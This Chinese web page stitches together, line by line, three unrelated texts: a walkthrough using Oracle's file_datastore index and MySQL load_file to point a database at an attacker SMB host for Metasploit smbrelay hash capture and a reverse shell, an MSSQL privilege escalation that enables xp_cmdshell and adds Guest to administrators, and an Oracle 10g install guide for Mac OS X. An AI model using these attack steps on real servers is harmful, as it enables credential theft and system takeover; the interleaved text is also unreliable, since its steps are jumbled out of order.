这几天看了篇叫”Penetration: from application down to OS
“的文档,感觉挺有意思的,文档的 大概意思就是说,如果 ORACLE 服务是用
administrator 账户启动的,你只要有一个具有 resource 和 connect
权限的数据库账户,就能利用 metasploit 的 smbrelay 功能,本地搭建一个 SMB
欺骗服务器, 来得到系统的访问权限。我本地测试了下,还真的成功了。:-)

遇到小人,把服务器整走了

基本环境:Snow Leopard10.6.2,Oracle10.2.0.4

本地Oracle数据库访问远程Oracle数据库
如何使用本地Oracle数据访问远程Oracle数据库。知道远程数据库的ip、数据库名、数据库用户名、密码、service_name。例如:我想将远程数据库中的一张表中的数据插入到本地数据库表中。如何实现?不希望使用链路。希望得到各位大侠的帮助,谢谢。

正在看的ORACLE教程是:Oracle数据库技术。作者:未知 更新人:Finishing
来源:不详 更新时间:2004.07.06 投稿信箱: jc@ddvip.net

具体的原理分析看原文吧,我这里把我的测试过程写出来.

自己手里只有sql server的sa账号密码

打开Mac的终端,执行:

<

我的渗透环境用的是 ubuntu8.10+metasploit 3.3 dev,oracle 数据库版本为
10.2.0.1.0,服务启动权限为 administrator,数据库账户用的是 dbsnmp
账户的默认权限.

模糊记起之前用这个账户提权读取文件的事

sudo -i

1.先用 netstat 命令查看一下,本地的 139
端口有没有占用,一般占用此端口的服务就是 Samba 了,要关掉。ubuntu
的关闭方法是 sudo /etc/init.d/samba stop

百度之,发现相关信息一堆堆

创建oinstall组和oracle用户,注意需要保证组合用户的ID与现有系统信息不冲突,这里采用700

2.运行 metasploit,我选用的 PAYLOAD 是
shell_reverse_tcp,做好相应配置后,exploit.就能用 netstat
看到本地已经监听了 139 和 8522 端口了.

各种工具也用了不少 发现不是语法错误就是权限不够

dscl . -create /groups/oinstalldscl . -append /groups/oinstall gid 700dscl . -append /groups/oinstall passwd "*"

dscl . -create /users/oracledscl . -append /users/oracle uid 700dscl . -append /users/oracle gid 700dscl . -append /users/oracle shell /bin/bashdscl . -append /users/oracle home /Users/oracledscl . -append /users/oracle realname "Oracle software owner"

mkdir /Users/oraclechown oracle:oinstall /Users/oracle

3.我现在使用 dbsnmp 默认账户连接到 oracle
数据库上,这个账户默认权限是比较低的,只有 connect和 resource 权限。

无奈之下装了sql server r2直接来操作

修改oracle用户密码:

4.然后执行下面 3 条 SQL 语句

顺利连接上去,看到有master这个库。

passwd oracle

vi /etc/sysctl.conf

kern.sysv.shmmin=1kern.sysv.shmseg=8 kern.sysv.semmsl=87381kern.sysv.semmns=87381kern.sysv.semmni=87381kern.sysv.semmnu=87381kern.sysv.semume=10kernel.shmall=2097152kernel.sys.shmmax=2147483648kernel.sys.shmmni=4096kern.maxfiles=65536kern.maxfilesperproc=65536net.inet.ip.portrange.first=1024net.inet.ip.portrange.last=65000kern.corefile=corekern.maxproc=2068kern.maxprocperuid=2068

SQL> CREATE TABLE files(id NUMBER PRIMARY KEY,path VARCHAR
UNIQUE,ot_format VARCHAR;SQL> INSERT INTO files
VALUES(1,’\\192.168.1.52\mickey’,NULL);SQL> CREATE INDEX
file_index ON files INDEXTYPE IS ctxsys.context2 PARAMETERS(‘datastore
ctxsys.file_datastore format column ot_format’);

直奔重点去

Oracle的安装脚本依赖Java1.4.2版本,请检查/System/Library/Frameworks/JavaVM.framework/Versions目录下是否有1.4.2,如果没有需要做link:

后来经过 pt007 的提醒,我又测试了 mysql,如果服务也是 administrator
启动的,用select
load_file(‘\\\\192.168.1.52\mk.txt’)也是可以得到系统权限的.MSSQL
应该用 xp_dirtree 存储过程 也是可以的,不过我没有配置出来用
administrator 账户启动 MSSQL 服务,希望知道的朋友指点下我。

这里要用到的就是xp_cmdshell这个存储过程,算是mssql有sa权限下的提权利器,不过有经验的管理员一般都会用各种牛逼的方法去禁止普通用户使用它

udo ln -s /System/Library/Frameworks/JavaVM.framework/Versions/1.5.0 /System/Library/Frameworks/JavaVM.framework/Versions/1.4.2

这个技术可以用到内网 WEB 评估的时候,如果有注入,服务又是 administrator
启动的,可以提权了。

尝试用正常的方法打开xp_cmdshell:

我的环境是雪豹,默认JDK版本是1.6,已经做了所有java版本的link,所以这一步就不需要做了。

两个PDF下载,

EXEC sp_configure 'show advanced options', 1; 
RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; 
RECONFIGURE; 
exec sp_configure

创建Oracle用户的环境变量,我的环境变量如下,包括我自己的一些设置,供参考:

作者:Mickey

  图片 1图片 2图片 3

使用vi创建.bash_profile,内容如下:

当执行完 create index 这句的时候,在看咱们本地的 metasploit,就已经得到
ORACLE 数据库主机的系 统当前服务用户的 half lm 哈希和 cmdshell 了。

看来运气还是不错滴,xp_cmdshell顺利打开了。然后就可以直接执行cmd命令了:

export PS1="\$PWD>"#export ANT_OPTS=-Djava.awt.headless=trueumask 022 export CLICOLOR=1export LSCOLORS=gxfxcxdxbxegedabagacadalias cls='clear'alias ll='ls -l'alias la='ls -a'alias vi='vim' export ORACLE_BASE=$HOMEexport ORACLE_SID=macoraexport ORACLE_HOME=/Users/oracle/oracle/product/10.2.0export PATH=/usr/local/bin:/Users/oracle/oracle/product/10.2.0/bin:$PATHexport DYLD_LIBRARY_PATH=$ORACLE_HOME/libexport DISPLAY=:0.0export NLS_LANG="SIMPLIFIED CHINESE_CHINA.UTF8"ulimit -Hn 65536ulimit -Sn 65536
exec xp_cmdshell ' net user Guest Qwer123456789'
exec xp_cmdshell ' net user Guest /active:yes'
exec xp_cmdshell 'net localgroup administrators Guest /add'

DISPLAY的设置主要是为了解决在命令行使用oracle用户启动X环境的问题,事实上我经过各种尝试,最终没有实现,还是注销了自己的用户,直接以oracle登录进行安装的,后来查到了这样一个解释:

算是顺利

Above works only for OS X 10.5 Leopard. OS X 10.6 Snow Leopard has
stricter security settings so you cannot simply su to oracle user and
export DISPLAY — you actually have to login as oracle user (logout in
GUI and login as oracle “Oracle software owner”) instead of “su –
oracle”. Thanks to Raimond for this.

没什么障碍

最终安装是oracle用户登录系统完成的。

最后附上一张远程登录的截图

以oracle用户登录Mac系统,找到Disk1下的runInstaller,执行:

图片 4

./runInstaller -J-d32

32表示运行在32位操作系统下,后续安装按照提示进行即可。我安装的是企业版。为了支持多语言,我选择了UTF-8作为数据库编码。

安装过程中会遇到两个问题:

1、“Error in invoking target ‘all_no_orcl
ipc_g”,遇到这个错误别着急取消安装,执行如下命令:

cd ~/oracle/product/10.2.0/db_1/rdbms/libvi ins_rdbms.mk

用#号注释掉$开头的行:

# $

然后返回安装程序,点击 “重试”。

2、安装时还可能提示ORA-3113错误,此问题Raimonds
Simanovskis通过提供补丁文件解决了,如下:

cd $ORACLE_HOME/bincurl -O http://rayapps.com/downloads/oracle_ee.zipunzip oracle_ee.zipchmod ug+s oraclerm oracle_se.zip

注意:安装企业版使用oracle_ee.zip

安装标准版使用oracle_se.zip

然后返回安装程序,点击“重试”。

最后提示要用root权限执行两个脚本,这就与在linux下安装一样了

sudo /Users/oracle/oraInventory/orainstRoot.sh

sudo /Users/oracle/oracle/product/10.2.0/root.sh

最后你会看到提示:安装成功!

3.Configuration安装完成后,可以根据你的情况,修改tnsnames.ora和listener.ora,指定端口和可以访问的IP,无非是localhost,127.0.0.1,实际的网址等。端口好默认是1521

sqlplus / as sysdbastartup

ORACLE 例程已经启动。

Total System Global Area 612368384 bytesFixed Size 2085872 bytesVariable Size 167775248 bytesDatabase Buffers 436207616 bytesRedo Buffers 6299648 bytes

lsnrctl start

TNSLSNR for MacOS X Server: Version 10.2.0.4.0 - Production

系统参数文件为/Users/oracle/oracle/product/10.2.0/network/admin/listener.ora

写入/Users/oracle/oracle/product/10.2.0/network/log/listener.log的日志信息

监听: (DESCRIPTION=(ADDRESS=

监听: (DESCRIPTION=(ADDRESS=

监听: (DESCRIPTION=(ADDRESS=

(DESCRIPTION=(ADDRESS=

服务 “PLSExtProc” 包含 1 个例程。

例程 “PLSExtProc”, 状态 UNKNOWN, 包含此服务的 1 个处理程序…

这样就可以使用数据库了,如果想添加其他服务器的服务名,可以使用netca工具进行。

另外,不要尝试去启动emctl服务,目前这个版本还不支持在Mac上使用EM
Console。

其实EM Console里的功能基本都可以通过命令行的方式实现。

推荐在Mac上使用Oracle SQL Developer,免费并且好用。

整个安装过程并不复杂,基本和在Linux上装Oracle差不多,一次成功。

现在,享受你的数据服务吧。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图